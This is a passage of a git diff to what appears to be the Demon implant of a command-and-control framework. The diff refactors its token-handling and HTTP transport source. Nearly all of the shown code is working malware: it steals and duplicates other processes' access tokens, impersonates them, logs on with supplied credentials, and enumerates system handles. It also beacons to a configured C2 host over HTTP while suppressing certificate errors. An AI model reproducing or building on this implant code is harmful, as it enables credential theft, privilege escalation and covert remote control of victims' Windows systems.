Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PRINTF( "NtDuplicateToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return FALSE; } @@ -437,7 +437,7 @@ HANDLE TokenSteal( } else { - PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "NtDuplicateObject: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } @@ -453,7 +453,7 @@ HANDLE TokenSteal( } else { - PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ) + PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) PACKAGE_ERROR_NTSTATUS( NtStatus ) } } @@ -479,57 +479,57 @@ BOOL TokenRemove( DWORD TokenID ) PTOKEN_LIST_DATA TokenItem = NULL; TokenItem = TokenGet( TokenID ); - TokenList = Instance.Tokens.Vault; + TokenList = Instance->Tokens.Vault; if ( ( ! TokenList ) || ( ! TokenItem ) ) return FALSE; - if ( Instance.Tokens.Vault == TokenItem ) + if ( Instance->Tokens.Vault == TokenItem ) { PUTS( "Its first item" ) - TokenItem = Instance.Tokens.Vault->NextToken; + TokenItem = Instance->Tokens.Vault->NextToken; - if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == Instance.Tokens.Vault->Handle ) + if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == Instance->Tokens.Vault->Handle ) TokenImpersonate( FALSE ); - if ( Instance.Tokens.Vault->Handle ) + if ( Instance->Tokens.Vault->Handle ) { - SysNtClose( Instance.Tokens.Vault->Handle ); - Instance.Tokens.Vault->Handle = NULL; + SysNtClose( Instance->Tokens.Vault->Handle ); + Instance->Tokens.Vault->Handle = NULL; } - if ( Instance.Tokens.Vault->DomainUser ) + if ( Instance->Tokens.Vault->DomainUser ) { - MemSet( Instance.Tokens.Vault->DomainUser, 0, StringLengthW( Instance.Tokens.Vault->DomainUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Tokens.Vault->DomainUser ); - Instance.Tokens.Vault->DomainUser = NULL; + MemSet( Instance->Tokens.Vault->DomainUser, 0, StringLengthW( Instance->Tokens.Vault->DomainUser ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Tokens.Vault->DomainUser ); + Instance->Tokens.Vault->DomainUser = NULL; } - if ( Instance.Tokens.Vault->lpUser ) + if ( Instance->Tokens.Vault->lpUser ) { - MemSet( Instance.Tokens.Vault->lpUser, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Tokens.Vault->lpUser ); - Instance.Tokens.Vault->lpUser = NULL; + MemSet( Instance->Tokens.Vault->lpUser, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Tokens.Vault->lpUser ); + Instance->Tokens.Vault->lpUser = NULL; } - if ( Instance.Tokens.Vault->lpDomain ) + if ( Instance->Tokens.Vault->lpDomain ) { - MemSet( Instance.Tokens.Vault->lpDomain, 0, StringLengthW( Instance.Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Tokens.Vault->lpDomain ); - Instance.Tokens.Vault->lpDomain = NULL; + MemSet( Instance->Tokens.Vault->lpDomain, 0, StringLengthW( Instance->Tokens.Vault->lpUser ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Tokens.Vault->lpDomain ); + Instance->Tokens.Vault->lpDomain = NULL; } - if ( Instance.Tokens.Vault->lpPassword ) + if ( Instance->Tokens.Vault->lpPassword ) { - MemSet( Instance.Tokens.Vault->lpPassword, 0, StringLengthW( Instance.Tokens.Vault->lpPassword ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( Instance.Tokens.Vault->lpPassword ); - Instance.Tokens.Vault->lpPassword = NULL; + MemSet( Instance->Tokens.Vault->lpPassword, 0, StringLengthW( Instance->Tokens.Vault->lpPassword ) * sizeof( WCHAR ) ); + Instance->Win32.LocalFree( Instance->Tokens.Vault->lpPassword ); + Instance->Tokens.Vault->lpPassword = NULL; } - MemSet( Instance.Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) ); - Instance.Win32.LocalFree( Instance.Tokens.Vault ); + MemSet( Instance->Tokens.Vault, 0, sizeof( TOKEN_LIST_DATA ) ); + Instance->Win32.LocalFree( Instance->Tokens.Vault ); - Instance.Tokens.Vault = TokenItem; + Instance->Tokens.Vault = TokenItem; return TRUE; } @@ -544,7 +544,7 @@ BOOL TokenRemove( DWORD TokenID ) TokenList->NextToken = TokenItem->NextToken; - if ( Instance.Tokens.Impersonate && Instance.Tokens.Token->Handle == TokenItem->Handle ) + if ( Instance->Tokens.Impersonate && Instance->Tokens.Token->Handle == TokenItem->Handle ) TokenImpersonate( FALSE ); if ( TokenItem->Handle ) @@ -556,33 +556,33 @@ BOOL TokenRemove( DWORD TokenID ) if ( TokenItem->DomainUser ) { MemSet( TokenItem->DomainUser, 0, StringLengthW( TokenItem->DomainUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( TokenItem->DomainUser ); + Instance->Win32.LocalFree( TokenItem->DomainUser ); TokenItem->DomainUser = NULL; } if ( TokenItem->lpUser ) { MemSet( TokenItem->lpUser, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( TokenItem->lpUser ); + Instance->Win32.LocalFree( TokenItem->lpUser ); TokenItem->lpUser = NULL; } if ( TokenItem->lpDomain ) { MemSet( TokenItem->lpDomain, 0, StringLengthW( TokenItem->lpUser ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( TokenItem->lpDomain ); + Instance->Win32.LocalFree( TokenItem->lpDomain ); TokenItem->lpDomain = NULL; } if ( TokenItem->lpPassword ) { MemSet( TokenItem->lpPassword, 0, StringLengthW( TokenItem->lpPassword ) * sizeof( WCHAR ) ); - Instance.Win32.LocalFree( TokenItem->lpPassword ); + Instance->Win32.LocalFree( TokenItem->lpPassword ); TokenItem->lpPassword = NULL; } MemSet( TokenItem, 0, sizeof( TOKEN_LIST_DATA ) ); - Instance.Win32.LocalFree( TokenItem ); + Instance->Win32.LocalFree( TokenItem ); TokenItem = NULL; return TRUE; @@ -608,7 +608,7 @@ HANDLE TokenMake( LPWSTR User, LPWSTR Password, LPWSTR Domain ) // TODO: at this point should I return NULL or just continue ? For now i just continue. } - if ( ! Instance.Win32.LogonUserW( User, Domain, Password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken ) ) + if ( ! Instance->Win32.LogonUserW( User, Domain, Password, LOGON32_LOGON_NEW_CREDENTIALS, LOGON32_PROVIDER_DEFAULT, &hToken ) ) { PUTS( "LogonUserW: Failed" ) PACKAGE_ERROR_WIN32 @@ -631,15 +631,15 @@ HANDLE TokenCurrentHandle( { if ( NtStatus != STATUS_NO_TOKEN ) { - PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PRINTF( "NtOpenThreadToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } if ( ! NT_SUCCESS( NtStatus = SysNtOpenProcessToken( NtCurrentProcess(), TOKEN_QUERY, &Token ) ) ) { - PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); - NtSetLastError( Instance.Win32.RtlNtStatusToDosError( NtStatus ) ); + PRINTF( "NtOpenProcessToken: Failed:[%08x : %ld]\n", NtStatus, Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); + NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); return NULL; } } @@ -664,7 +664,7 @@ BOOL TokenElevated( PTOKEN_LIST_DATA TokenGet( IN DWORD TokenID ) { - PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault; + PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; for ( TokenIndex = 0; TokenIndex < TokenID && TokenList && TokenList->NextToken; ++TokenIndex ) { @@ -681,7 +681,7 @@ PTOKEN_LIST_DATA TokenGet( VOID TokenClear( VOID ) { - PTOKEN_LIST_DATA TokenList = Instance.Tokens.Vault; + PTOKEN_LIST_DATA TokenList = Instance->Tokens.Vault; DWORD TokenIndex = 0; TokenImpersonate( FALSE ); @@ -699,31 +699,31 @@ VOID TokenClear( TokenRemove( 0 ); } - Instance.Tokens.Impersonate = FALSE; - Instance.Tokens.Vault = NULL; - Instance.Tokens.Token = NULL; + Instance->Tokens.Impersonate = FALSE; + Instance->Tokens.Vault = NULL; + Instance->Tokens.Token = NULL; } BOOL TokenImpersonate( IN BOOL Impersonate ) { - if ( Impersonate && ! Instance.Tokens.Impersonate && Instance.Tokens.Token ) + if ( Impersonate && ! Instance->Tokens.Impersonate && Instance->Tokens.Token ) { // impersonate the current token. - Instance.Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance.Tokens.Token->Handle ); - return Instance.Tokens.Impersonate; + Instance->Tokens.Impersonate = SysImpersonateLoggedOnUser( Instance->Tokens.Token->Handle ); + return Instance->Tokens.Impersonate; } - else if ( ! Impersonate && Instance.Tokens.Impersonate ) { + else if ( ! Impersonate && Instance->Tokens.Impersonate ) { { // stop impersonating - Instance.Tokens.Impersonate = FALSE; + Instance->Tokens.Impersonate = FALSE; return TokenRevSelf(); } - } else if ( Impersonate && ! Instance.Tokens.Token ) { + } else if ( Impersonate && ! Instance->Tokens.Token ) { return TRUE; // there is no token to impersonate in the first place - } else if ( Impersonate && Instance.Tokens.Impersonate ) { + } else if ( Impersonate && Instance->Tokens.Impersonate ) { return TRUE; // we are already impersonating - } else if ( ! Impersonate && ! Instance.Tokens.Impersonate ) { + } else if ( ! Impersonate && ! Instance->Tokens.Impersonate ) { return TRUE; // we are already not impersonating } @@ -775,11 +775,11 @@ BOOL IsImpersonationToken( HANDLE token ) LPVOID TokenImpersonationInfo = NULL; DWORD returned_tokinfo_length = 0; - TokenImpersonationInfo = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE ); + TokenImpersonationInfo = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE ); if ( ! TokenImpersonationInfo ) return FALSE; - if ( Instance.Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) ) + if ( Instance->Win32.GetTokenInformation( token, TokenImpersonationLevel, TokenImpersonationInfo, BUF_SIZE, &returned_tokinfo_length ) ) { if ( *( ( SECURITY_IMPERSONATION_LEVEL* ) TokenImpersonationInfo ) >= SecurityImpersonation ) ReturnValue = TRUE; @@ -793,7 +793,7 @@ BOOL IsImpersonationToken( HANDLE token ) } if ( TokenImpersonationInfo ) - Instance.Win32.LocalFree( TokenImpersonationInfo ); + Instance->Win32.LocalFree( TokenImpersonationInfo ); return ReturnValue; } @@ -809,7 +809,7 @@ BOOL CanTokenBeImpersonated( IN HANDLE hToken ) return FALSE; // try to open a handle to the current token - Success = Instance.Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp ); + Success = Instance->Win32.OpenThreadToken( NtCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hImp ); TokenRevSelf(); @@ -885,7 +885,7 @@ BOOL QueryObjectTypesInfo( POBJECT_TYPES_INFORMATION* pObjectTypes, PULONG pObje do { PrevBufferLength = BufferLength; - ObjTypeInformation = Instance.Win32.LocalAlloc( LPTR, BufferLength ); + ObjTypeInformation = Instance->Win32.LocalAlloc( LPTR, BufferLength ); status = SysNtQueryObject( NULL, @@ -967,10 +967,10 @@ BOOL GetTokenInfo( goto Cleanup; } - Instance.Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length ); - TokenStatisticsInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokinfo_length ); + Instance->Win32.GetTokenInformation( hToken, TokenStatistics, NULL, 0, &returned_tokinfo_length ); + TokenStatisticsInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokinfo_length ); - if ( Instance.Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) ) + if ( Instance->Win32.GetTokenInformation( hToken, TokenStatistics, TokenStatisticsInformation, returned_tokinfo_length, &returned_tokinfo_length ) ) { // save the token type *pTokenType = TokenStatisticsInformation->TokenType; @@ -978,12 +978,12 @@ BOOL GetTokenInfo( if ( TokenStatisticsInformation->TokenType == TokenPrimary ) { // get the token integrity level - Instance.Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize ); - TokenIntegrityInformation = Instance.Win32.LocalAlloc( LPTR, cbSize ); + Instance->Win32.GetTokenInformation(hToken, TokenIntegrityLevel, NULL, 0, &cbSize ); + TokenIntegrityInformation = Instance->Win32.LocalAlloc( LPTR, cbSize ); - if ( Instance.Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) ) + if ( Instance->Win32.GetTokenInformation( hToken, TokenIntegrityLevel, TokenIntegrityInformation, cbSize, &cbSize ) ) { - *pIntegrity = *Instance.Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance.Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1)); + *pIntegrity = *Instance->Win32.GetSidSubAuthority(TokenIntegrityInformation->Label.Sid, (DWORD)(UCHAR)(*Instance->Win32.GetSidSubAuthorityCount(TokenIntegrityInformation->Label.Sid) - 1)); ReturnValue = TRUE; } else @@ -994,10 +994,10 @@ BOOL GetTokenInfo( else if (TokenStatisticsInformation->TokenType == TokenImpersonation) { // get the token impersonation level - Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length ); - TokenImpersonationInformation = Instance.Win32.LocalAlloc( LPTR, returned_tokimp_length ); + Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, NULL, 0, &returned_tokimp_length ); + TokenImpersonationInformation = Instance->Win32.LocalAlloc( LPTR, returned_tokimp_length ); - if ( Instance.Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) ) + if ( Instance->Win32.GetTokenInformation( hToken, TokenImpersonationLevel, TokenImpersonationInformation, returned_tokimp_length, &returned_tokimp_length ) ) { *pImpersonationLevel = * ( ( SECURITY_IMPERSONATION_LEVEL * ) TokenImpersonationInformation ); ReturnValue = TRUE; @@ -1042,7 +1042,7 @@ BOOL GetProcessesFromHandleTable( IN PSYSTEM_HANDLE_INFORMATION handleTableInfor BOOL ret_val = FALSE; PPROCESS_LIST process_list = NULL; - process_list = Instance.Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) ); + process_list = Instance->Win32.LocalAlloc( LPTR, sizeof(PROCESS_LIST) ); PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo; for (ULONG i = 0; i < handleTableInformation->NumberOfHandles; i++) @@ -1081,7 +1081,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph ULONG prev_buffer_size = buffer_size; PVOID handleTableInformation = NULL; - handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size ); + handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); while (TRUE) { @@ -1096,7 +1096,7 @@ BOOL GetAllHandles( OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, OUT PULONG ph // the buffer was too small, buffer_size now has the new length DATA_FREE( handleTableInformation, prev_buffer_size ); prev_buffer_size = buffer_size; - handleTableInformation = Instance.Win32.LocalAlloc( LPTR, buffer_size ); + handleTableInformation = Instance->Win32.LocalAlloc( LPTR, buffer_size ); continue; } if ( ! NT_SUCCESS( status ) ) @@ -1172,7 +1172,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ) goto Cleanup; // allocate the USER_TOKEN_DATA table - Tokens = Instance.Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) ); + Tokens = Instance->Win32.LocalAlloc( LPTR, BUF_SIZE * sizeof( USER_TOKEN_DATA ) ); if ( ! Tokens ) goto Cleanup; @@ -1181,7 +1181,7 @@ BOOL ListTokens( PUSER_TOKEN_DATA* pTokens, PDWORD pNumTokens ) { ProcessId = ProcessList->ProcessId[i]; - if ( ProcessId == Instance.Session.PID ) + if ( ProcessId == Instance->Session.PID ) continue; if ( ProcessId == 0 ) continue; @@ -1297,7 +1297,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken ) &ReturnLength); if ( ! NT_SUCCESS( Status ) ) { - PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) ); + PRINTF( "NtQueryInformationToken: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } @@ -1351,7 +1351,7 @@ BOOL SysImpersonateLoggedOnUser( HANDLE hToken ) if ( ! NT_SUCCESS( Status ) ) { - PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance.Win32.RtlNtStatusToDosError( Status ) ); + PRINTF( "NtSetInformationThread: Failed:[%08x : %ld]\n", Status, Instance->Win32.RtlNtStatusToDosError( Status ) ); return FALSE; } @@ -1369,7 +1369,7 @@ BOOL ImpersonateTokenInStore( } /* if we are already impersonating the selected token, do nothing */ - if ( Instance.Tokens.Impersonate && TokenData->Handle == Instance.Tokens.Token->Handle ) { + if ( Instance->Tokens.Impersonate && TokenData->Handle == Instance->Tokens.Token->Handle ) { return TRUE; } @@ -1384,13 +1384,13 @@ BOOL ImpersonateTokenInStore( } if ( SysImpersonateLoggedOnUser( TokenData->Handle ) ) { - Instance.Tokens.Impersonate = TRUE; - Instance.Tokens.Token = TokenData; + Instance->Tokens.Impersonate = TRUE; + Instance->Tokens.Token = TokenData; PRINTF( "[+] Successfully impersonated: %ls\n", TokenData->DomainUser ); } else { - Instance.Tokens.Impersonate = FALSE; - Instance.Tokens.Token = NULL; + Instance->Tokens.Impersonate = FALSE; + Instance->Tokens.Token = NULL; PRINTF( "[!] Failed to impersonate token user: %ls\n", TokenData->DomainUser ); diff --git a/payloads/Demon/src/core/Transport.c b/payloads/Demon/src/core/Transport.c index 9b4939a..f02ec88 100644 --- a/payloads/Demon/src/core/Transport.c +++ b/payloads/Demon/src/core/Transport.c @@ -19,19 +19,19 @@ BOOL TransportInit( ) /* Sends to our connection (direct/pivot) */ #ifdef TRANSPORT_HTTP - if ( PackageTransmitNow( Instance.MetaData, &Data, &Size ) ) + if ( PackageTransmitNow( Instance->MetaData, &Data, &Size ) ) { AESCTX AesCtx = { 0 }; /* Decrypt what we got */ - AesInit( &AesCtx, Instance.Config.AES.Key, Instance.Config.AES.IV ); + AesInit( &AesCtx, Instance->Config.AES.Key, Instance->Config.AES.IV ); AesXCryptBuffer( &AesCtx, Data, Size ); if ( Data ) { - if ( ( UINT32 ) Instance.Session.AgentID == ( UINT32 ) DEREF( Data ) ) + if ( ( UINT32 ) Instance->Session.AgentID == ( UINT32 ) DEREF( Data ) ) { - Instance.Session.Connected = TRUE; + Instance->Session.Connected = TRUE; Success = TRUE; } } @@ -39,9 +39,9 @@ BOOL TransportInit( ) #endif #ifdef TRANSPORT_SMB - if ( PackageTransmitNow( Instance.MetaData, NULL, NULL ) == TRUE ) + if ( PackageTransmitNow( Instance->MetaData, NULL, NULL ) == TRUE ) { - Instance.Session.Connected = TRUE; + Instance->Session.Connected = TRUE; Success = TRUE; } #endif diff --git a/payloads/Demon/src/core/TransportHttp.c b/payloads/Demon/src/core/TransportHttp.c index a39e071..89f1f5f 100644 --- a/payloads/Demon/src/core/TransportHttp.c +++ b/payloads/Demon/src/core/TransportHttp.c @@ -45,35 +45,35 @@ BOOL HttpSend( TokenImpersonate( FALSE ); /* if we don't have any more hosts left, then exit */ - if ( ! Instance.Config.Transport.Host ) { + if ( ! Instance->Config.Transport.Host ) { PUTS_DONT_SEND( "No hosts left to use... exit now." ) CommandExit( NULL ); } - if ( ! Instance.hHttpSession ) { - if ( Instance.Config.Transport.Proxy.Enabled ) { + if ( ! Instance->hHttpSession ) { + if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy - HttpProxy = Instance.Config.Transport.Proxy.Url; + HttpProxy = Instance->Config.Transport.Proxy.Url; - /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent, HttpProxy ) */ - Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 ); + /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NAMED_PROXY, %ls, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent, HttpProxy ) */ + Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NAMED_PROXY, HttpProxy, WINHTTP_NO_PROXY_BYPASS, 0 ); } else { // Autodetect proxy settings - /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance.Config.Transport.UserAgent ) */ - Instance.hHttpSession = Instance.Win32.WinHttpOpen( Instance.Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); + /* PRINTF_DONT_SEND( "WinHttpOpen( %ls, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 )\n", Instance->Config.Transport.UserAgent ) */ + Instance->hHttpSession = Instance->Win32.WinHttpOpen( Instance->Config.Transport.UserAgent, WINHTTP_ACCESS_TYPE_NO_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0 ); } - if ( ! Instance.hHttpSession ) { + if ( ! Instance->hHttpSession ) { PRINTF_DONT_SEND( "WinHttpOpen: Failed => %d\n", NtGetLastError() ) goto LEAVE; } } - /* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance.hHttpSession, Instance.Config.Transport.Host->Host, Instance.Config.Transport.Host->Port ) */ - if ( ! ( Connect = Instance.Win32.WinHttpConnect( - Instance.hHttpSession, - Instance.Config.Transport.Host->Host, - Instance.Config.Transport.Host->Port, + /* PRINTF_DONT_SEND( "WinHttpConnect( %x, %ls, %d, 0 )\n", Instance->hHttpSession, Instance->Config.Transport.Host->Host, Instance->Config.Transport.Host->Port ) */ + if ( ! ( Connect = Instance->Win32.WinHttpConnect( + Instance->hHttpSession, + Instance->Config.Transport.Host->Host, + Instance->Config.Transport.Host->Port, 0 ) ) ) { PRINTF_DONT_SEND( "WinHttpConnect: Failed => %d\n", NtGetLastError() ) @@ -81,24 +81,24 @@ BOOL HttpSend( } while ( TRUE ) { - if ( ! Instance.Config.Transport.Uris[ Counter ] ) { + if ( ! Instance->Config.Transport.Uris[ Counter ] ) { break; } else { Counter++; } } - HttpEndpoint = Instance.Config.Transport.Uris[ RandomNumber32() % Counter ]; + HttpEndpoint = Instance->Config.Transport.Uris[ RandomNumber32() % Counter ]; HttpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE; - if ( Instance.Config.Transport.Secure ) { + if ( Instance->Config.Transport.Secure ) { HttpFlags |= WINHTTP_FLAG_SECURE; } - /* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance.Config.Transport.Method, HttpEndpoint, HttpFlags ) */ - if ( ! ( Request = Instance.Win32.WinHttpOpenRequest( + /* PRINTF_DONT_SEND( "WinHttpOpenRequest( %x, %ls, %ls, NULL, NULL, NULL, %x )\n", hConnect, Instance->Config.Transport.Method, HttpEndpoint, HttpFlags ) */ + if ( ! ( Request = Instance->Win32.WinHttpOpenRequest( Connect, - Instance.Config.Transport.Method, + Instance->Config.Transport.Method, HttpEndpoint, NULL, NULL, @@ -109,13 +109,13 @@ BOOL HttpSend( goto LEAVE; } - if ( Instance.Config.Transport.Secure ) { + if ( Instance->Config.Transport.Secure ) { HttpFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE; - if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) + if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_SECURITY_FLAGS, &HttpFlags, sizeof( DWORD ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } @@ -123,51 +123,51 @@ BOOL HttpSend( /* Add our headers */ do { - HttpHeader = Instance.Config.Transport.Headers[ Iterator ]; + HttpHeader = Instance->Config.Transport.Headers[ Iterator ]; if ( ! HttpHeader ) break; - if ( ! Instance.Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { + if ( ! Instance->Win32.WinHttpAddRequestHeaders( Request, HttpHeader, -1, WINHTTP_ADDREQ_FLAG_ADD ) ) { PRINTF_DONT_SEND( "Failed to add header: %ls", HttpHeader ) } Iterator++; } while ( TRUE ); - if ( Instance.Config.Transport.Proxy.Enabled ) { + if ( Instance->Config.Transport.Proxy.Enabled ) { // Use preconfigured proxy ProxyInfo.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY; - ProxyInfo.lpszProxy = Instance.Config.Transport.Proxy.Url; + ProxyInfo.lpszProxy = Instance->Config.Transport.Proxy.Url; - if ( ! Instance.Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) { + if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY, &ProxyInfo, sizeof( WINHTTP_PROXY_INFO ) ) ) { PRINTF_DONT_SEND( "WinHttpSetOption: Failed => %d\n", NtGetLastError() ); } - if ( Instance.Config.Transport.Proxy.Username ) { - if ( ! Instance.Win32.WinHttpSetOption( + if ( Instance->Config.Transport.Proxy.Username ) { + if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_USERNAME, - Instance.Config.Transport.Proxy.Username, - StringLengthW( Instance.Config.Transport.Proxy.Username ) + Instance->Config.Transport.Proxy.Username, + StringLengthW( Instance->Config.Transport.Proxy.Username ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy username %u", NtGetLastError() ); } } - if ( Instance.Config.Transport.Proxy.Password ) { - if ( ! Instance.Win32.WinHttpSetOption( + if ( Instance->Config.Transport.Proxy.Password ) { + if ( ! Instance->Win32.WinHttpSetOption( Request, WINHTTP_OPTION_PROXY_PASSWORD, - Instance.Config.Transport.Proxy.Password, - StringLengthW( Instance.Config.Transport.Proxy.Password ) + Instance->Config.Transport.Proxy.Password, + StringLengthW( Instance->Config.Transport.Proxy.Password ) ) ) { PRINTF_DONT_SEND( "Failed to set proxy password %u", NtGetLastError() ); } } - } else if ( ! Instance.LookedForProxy ) { + } else if ( ! Instance->LookedForProxy ) { // Autodetect proxy settings using the Web Proxy Auto-Discovery (WPAD) protocol /* @@ -184,17 +184,17 @@ BOOL HttpSend( AutoProxyOptions.dwReserved = 0; AutoProxyOptions.fAutoLogonIfChallenged = TRUE; - if ( Instance.Win32.WinHttpGetProxyForUrl( Instance.hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { + if ( Instance->Win32.WinHttpGetProxyForUrl( Instance->hHttpSession, HttpEndpoint, &AutoProxyOptions, &ProxyInfo ) ) { if ( ProxyInfo.lpszProxy ) { PRINTF_DONT_SEND( "Using proxy %ls\n", ProxyInfo.lpszProxy ); } - Instance.SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); - Instance.ProxyForUrl = Instance.Win32.LocalAlloc( LPTR, Instance.SizeOfProxyForUrl ); - MemCopy( Instance.ProxyForUrl, &ProxyInfo, Instance.SizeOfProxyForUrl ); + Instance->SizeOfProxyForUrl = sizeof( WINHTTP_PROXY_INFO ); + Instance->ProxyForUrl = Instance->Win32.LocalAlloc( LPTR, Instance->SizeOfProxyForUrl ); + MemCopy( Instance->ProxyForUrl, &ProxyInfo, Instance->SizeOfProxyForUrl ); } else { // WinHttpGetProxyForUrl failed, use 